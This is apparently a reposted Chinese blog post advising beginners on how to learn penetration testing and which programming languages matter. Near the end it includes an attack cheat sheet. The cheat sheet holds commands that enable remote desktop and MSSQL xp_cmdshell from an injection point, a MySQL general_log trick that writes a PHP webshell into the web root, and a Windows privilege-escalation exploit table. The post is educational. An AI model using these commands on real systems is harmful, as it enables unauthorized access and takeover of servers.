很多朋友问我,想搞网络安全,编程重要吗,选什么语言呢?
国内其实正经开设网络安全专业的学校很少,大部分同学是来自计算机科学、网络工程、软件工程专业的,甚至很多非计算机专业自学的。因此不像这三个专业,有系统的课程体系,大一教什么,大二教什么,大三又教什么,那么清晰明白,网络安全这条路很多都是自学摸索。
我从大二开始入坑网络安全,至今也有十个年头了,也见过许许多多自学成才的例子,工作这些年,先后学习过C、C++、Java、Python、Objective-C、JavaScript、TypeScript,现在回过头来,有一些自己的思考。
很多培训班,一上来就给你讲一堆各种攻击手法、各种工具使用,很多人搞得一头雾水,为什么要学这些,这些背后的原理是什么全都不知道。
我主张学习网络安全可以像做软件开发中的“敏捷开发”,先从一个最小的核心开始,逐步迭代,已臻完善。
这个最小的核心是什么呢?
如果你是偏向于搞网络渗透的方向,这个最小核心就是:
HTTP + Web + 漏洞扫描工具
先把HTTP协议的工作机制掌握了,然后学习Web技术,包括前后端如何协同工作,浏览器如何工作,服务器又是如何处理一个HTTP请求,一个网站是如何搭建起来的等等。接着再学习使用一些Web漏洞扫描工具,学习网站漏洞的概念,开始有“安全”这个意识。
围绕Web相关的知识掌握得差不多了,然后可以开始迭代起来了:
1、有了上面这些基本知识,可以开始学习各种花式的Web漏洞攻击,什么XSS、CSRF、SQL注入、SSRF等等。
2、学习漏洞原理的过程中,开始熟悉一些Web服务器的工作机制,日志技术,容器技术这些知识,以及背后的操作系统Linux/Windows的基础知识。
3、对Web安全有了一些基础,开始把眼光从Web放宽到更广阔的网络安全,这个时候,就需要进一步学习HTTP背后的TCP/IP网络协议族。这时你将会陆续接触到什么是TCP劫持、DNS劫持、ARP欺骗、TCP SYN洪水攻击等等。
4、对网络攻击的手法了解到这个阶段,现有的工具可能就满足不了你的需要,你需要定制一些爬虫、扫描、漏洞POC或其他工具了,是时候来学习一些工具编写了,你可以开始学习Python编程,门槛最低,实用性最强。
5、安全玩到后面,都是在玩漏洞。而学到后面,越来越多时间开始接触到操作系统层面的漏洞,这个时候你就要开始学习一些C语言,通过C知道代码程序底层的执行原理,拓展自己在操作系统层面的知识深度。
6、有了上面这些技术的打底,你的眼界将会被打开,但随之而来,你会发现自己要学的还有很多,但至少到这个时候,你不再像一开始那么迷茫,而是知道自己接下来该去补充哪些东西。
核心:
1.web安全
2.二进制安全(包括逆向工程和漏洞利用)
3.密码学知识
其他基础:
1.软件开发
2.数据库原理
3.编程语言
4.计算机取证分析和隐写术
5.网络协议及网络算法
6.算法与数据结构
7.研究开源工具的基本原理,懂得自制工具
Web安全:
1.注入类:SQL注入;XSS跨站脚本攻击;XXE;命令执行~命令注入(bash);文件上传~文件下载
2.信息漏洞:源码泄露;敏感信息接口;员工资料泄露;服务器信息泄露
3.逻辑类:权限绕过;条件竞争;数据篡改
网站工作原理:
HTTP协议;Webserver
HTTP协议构成:
1.http-header构成(request response)
2.http-body 构成(request response)
3.http方法
Webserver:
1.Webserver分类
2.Webserver解析流程
3.Webserver基础安全
编程语言:
前端:html,css,javascript
后台和脚本语言:php,java,python
数据库原理:
关系型数据库(MySQL)和非关系型数据库
逆向工程:
1.体系结构:机器指令和汇编语言
2.编译原理:自动机,词法分析,语法分析
3.操作系统:系统的加载与引导
4.计算机组成原理
漏洞挖掘与利用:
1.逆向工程
2.模糊测试
3.什么是漏洞
4.程序员在什么时候会犯错
5.信息收集工具:端口,子域名,代码泄露,员工字典
6.数据包抓取修改重放工具
7.顺手的浏览器及插件(火狐Hackbar)
8.VPS,漏洞验证
9.分析业务功能
10.分析web架构
11.针对性的罗列可能的漏洞类型
12.详细测试:不放过任何一个数据包
13.单一利用:Getshell;敏感信息接口
14.组合利用:XSS+CSRF
密码学:
1.古典密码学:凯撒密码;移位密码
2.现代密码学:对称加密体系(DES;AES)和非对称加密体系(RSA)
Win2003
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
Win2003,WinXP
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
Mssql开启xp_cmdshell
关闭命令
-
EXEC sp_configure '
show
advanced options
', 1; //显示或修改高级选项
-
RECONFIGURE;
-
EXEC sp_configure 'xp_cmdshell
',0;
-
RECONFIGURE;
-
开启命令
-
EXEC sp_configure '
show
advanced options
', 1;
-
RECONFIGURE;
-
EXEC sp_configure 'xp_cmdshell
', 1;
-
RECONFIGURE;
-
在注入点运行上述语句时,如果出现这样的回显,标记message: 配置选项 'xp_cmdshell' 不存在,可执行以下语句
-
EXEC sp_configure '
show
advanced options
',1;
-
RECONFIGURE;
-
EXEC sp_configure '
user connections
',1;
-
RECONFIGURE;
Mysql日志拿shell
-
set
global general_log =
on;
-
set
global general_log_file =
'C:/phpStudy/WWW/sinight.php';
-
select
'<?php @assert($_POST["sinight"]); ?>';
-
set
global general_log =
off;
Windows提权对照表
-
#Security
Bulletin
#KB
#Description
#Operating
System
-
-
CVE-2017-0213
[Windows COM Elevation of Privilege Vulnerability] (windows
10/
8.1/
7/
2016/
2010/
2008)
-
MS17-010
[KB4013389]
[Windows Kernel Mode Drivers] (windows
7/
2008/
2003/XP)
-
MS16-135
[KB3199135]
[Windows Kernel Mode Drivers] (
2016)
-
MS16-098
[KB3178466]
[Kernel Driver] (Win
8.1)
-
MS16-075
[KB3164038]
[Hot Potato] (
2003/
2008/
7/
8/
2012)
-
MS16-032
[KB3143141]
[Secondary Logon Handle] (
2008/
7/
8/
10/
2012)
-
MS16-016
[KB3136041]
[WebDAV] (
2008/Vista/
7)
-
MS15-097
[KB3089656]
[remote code execution] (win8.
1/
2012)
-
MS15-076
[KB3067505]
[RPC] (
2003/
2008/
7/
8/
2012)
-
MS15-077
[KB3077657]
[ATM] (XP/Vista/Win7/Win8/
2000/
2003/
2008/
2012)
-
MS15-061
[KB3057839]
[Kernel Driver] (
2003/
2008/
7/
8/
2012)
-
MS15-051
[KB3057191]
[Windows Kernel Mode Drivers] (
2003/
2008/
7/
8/
2012)
-
MS15-010
[KB3036220]
[Kernel Driver] (
2003/
2008/
7/
8)
-
MS15-015
[KB3031432]
[Kernel Driver] (Win7/
8/
8.1/
2012/RT/
2012 R2/
2008 R2)
-
MS15-001
[KB3023266]
[Kernel Driver] (
2008/
2012/
7/
8)
-
MS14-070
[KB2989935]
[Kernel Driver] (
2003)
-
MS14-068
[KB3011780]
[Domain Privilege Escalation] (
2003/
2008/
2012/
7/
8)
-
MS14-058
[KB3000061]
[Win32k.sys] (
2003/
2008/
2012/
7/
8)
-
MS14-040
[KB2975684]
[AFD Driver] (
2003/
2008/
2012/
7/
8)
-
MS14-002
[KB2914368]
[NDProxy] (
2003/XP)
-
MS13-053
[KB2850851]
[win32k.sys] (XP/Vista/
2003/
2008/win
7)
-
MS13-046
[KB2840221]
[dxgkrnl.sys] (Vista/
2003/
2008/
2012/
7)
-
MS13-005
[KB2778930]
[Kernel Mode Driver] (
2003/
2008/
2012/win7/
8)
-
MS12-042
[KB2972621]
[Service Bus] (
2008/
2012/win7)
-
MS12-020
[KB2671387]
[RDP] (
2003/
2008/
7/XP)
-
MS11-080
[KB2592799]
[AFD.sys] (
2003/XP)
-
MS11-062
[KB2566454]
[NDISTAPI] (
2003/XP)
-
MS11-046
[KB2503665]
[AFD.sys] (
2003/
2008/
7/XP)
-
MS11-011
[KB2393802]
[kernel Driver] (
2003/
2008/
7/XP/Vista)
-
MS10-092
[KB2305420]
[Task Scheduler] (
2008/
7)
-
MS10-065
[KB2267960]
[FastCGI] (IIS
5.1,
6.0,
7.0, and
7.5)
-
MS10-059
[KB982799]
[ACL-Churraskito] (
2008/
7/Vista)
-
MS10-048
[KB2160329]
[win32k.sys] (XP SP2 & SP3/
2003 SP2/Vista SP1 & SP2/
2008 Gold & SP2 & R2/Win7)
-
MS10-015
[KB977165]
[KiTrap0D] (
2003/
2008/
7/XP)
-
MS09-050
[KB975517]
[Remote Code Execution] (
2008/Vista)
-
MS09-020
[KB970483]
[IIS 6.0] (IIS
5.1 and
6.0)
-
MS09-012
[KB959454]
[Chimichurri] (Vista/win7/
2008/Vista)
-
MS08-068
[KB957097]
[Remote Code Execution] (
2000/XP)
-
MS08-067
[KB958644]
[Remote Code Execution] (Windows
2000/XP/Server
2003/Vista/Server
2008)
-
MS08-025
[KB941693]
[Win32.sys] (XP/
2003/
2008/Vista)
-
MS06-040
[KB921883]
[Remote Code Execution] (
2003/xp/
2000)
-
MS05-039
[KB899588]
[PnP Service] (Win
9X/ME/NT/
2000/XP/
2003)
-
MS03-026
[KB823980]
[Buffer Overrun In RPC Interface] (/NT/
2000/XP/
2003)
Win下面各种文件下载姿势
<参考backlion表哥的文章以及freebuf的>
http://www.cnblogs.com/backlion/p/7908563.htmlhttps://www.freebuf.com/articles/system/155147.html
Python开启HTTP服务
Python <= 2.3python -c "import SimpleHTTPServer as s; s.test();" 8000Python >= 2.4python -m SimpleHTTPServer 8000Python 3.xpython -m http.server 8000
最后,附一张网络渗透方向技术学习思维导图,希望对大家有所帮助:
福利来啦:
最新2021整理收集的一些高频面试题(都整理成文档),有很多干货,包含网络安全,渗透测试,Linux运维,Web安全。。详细讲解,也有详细的学习规划图,面试题整理等,需要获取这些内容的朋友请扫描下方二维码 备注:csdn 免费领取
总结:
回答一开始那个问题,对于网络渗透方向,编程不是一开始就要做的事,也不如程序员拿它吃饭那么重要,但即便如此,你还是得学一点。
以上是我对网络渗透方向学习的一些建议,而对于安全开发与二进制安全方向,则有所不同,我们下次再聊这两个方向。
转载:https://blog.csdn.net/MachineGunJoe/article/details/117256225